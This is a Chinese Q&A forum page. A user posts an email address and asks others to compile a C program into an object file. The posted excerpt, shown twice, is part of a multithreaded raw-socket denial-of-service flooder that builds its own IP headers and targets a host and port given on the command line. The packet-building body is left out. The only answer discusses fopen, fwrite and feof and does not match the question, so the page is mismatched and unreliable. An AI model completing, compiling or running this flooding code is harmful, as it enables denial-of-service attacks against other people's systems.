谁能帮忙把C语言编的程序,编译成点o文件发给我,谢谢! 10
邮箱:924992157@qq.com,代码太长,节选如下:完整代码请发邮件联系。/*随机函数产生函数*/staticinlinelong/*CRC16校验*/stati...
邮箱:924992157@qq.com,代码太长,节选如下:完整代码请发邮件联系。
/* 随机函数产生函数*/
static inline long
/* CRC16校验 */
static unsigned short
DoS_cksum (unsigned short *data, int length)
获取协议类型ICMP */
protocol = getprotobyname(protoname);
if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_TCP = protocol->p_proto;
/* 输入的目的地址为字符串IP地址 */
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
/* 为DNS地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
/* 将地址拷贝到dest中 */
memcpy((char *)&dest, host->h_addr_list[0], host->h_length);
}
/* 目的端口 */
dest_port = atoi(argv[2]);
/* 建立原始socket */
rawsock = socket (AF_INET, SOCK_RAW, PROTO_TCP);
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, PROTO_TCP);
/* 设置IP选项 */
setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, DoS_fun, NULL);
}
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
{
pthread_join(pthread[i], NULL);
}
close(rawsock);
return 0;
} 展开
/* 随机函数产生函数*/
static inline long
/* CRC16校验 */
static unsigned short
DoS_cksum (unsigned short *data, int length)
获取协议类型ICMP */
protocol = getprotobyname(protoname);
if (protocol == NULL)
{
perror("getprotobyname()");
return -1;
}
PROTO_TCP = protocol->p_proto;
/* 输入的目的地址为字符串IP地址 */
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
/* 为DNS地址 */
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
/* 将地址拷贝到dest中 */
memcpy((char *)&dest, host->h_addr_list[0], host->h_length);
}
/* 目的端口 */
dest_port = atoi(argv[2]);
/* 建立原始socket */
rawsock = socket (AF_INET, SOCK_RAW, PROTO_TCP);
if (rawsock < 0)
rawsock = socket (AF_INET, SOCK_RAW, PROTO_TCP);
/* 设置IP选项 */
setsockopt (rawsock, SOL_IP, IP_HDRINCL, "1", sizeof ("1"));
/* 建立多个线程协同工作 */
for(i=0; i<MAXCHILD; i++)
{
err = pthread_create(&pthread[i], NULL, DoS_fun, NULL);
}
/* 等待线程结束 */
for(i=0; i<MAXCHILD; i++)
{
pthread_join(pthread[i], NULL);
}
close(rawsock);
return 0;
} 展开
1个回答
2016-05-28
展开全部
#include指包含系统库函数,在你这个程序里没有也是可以的是指针NULL表示打开文件错误,没有文件、没有权限等,总之NULL表示出错了表示以‘0’返回值退出程序,这个返回值可以由其他程序捕获写文件只需打开一次,因为while后面有输出操作,在输出之前必须先打开,当然while未必必须在fopen里面的,你可以先将字符存到数组,然后fopen,fwite整个数组到文件表示将ch按字符写到输出流,这里就是写到文件最好是有开就有关,有些系统在进程退出时会自动关闭所有打开的文件描述符feof一般用来判断读取文件结束,你的程序是写文件,用不上。。。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询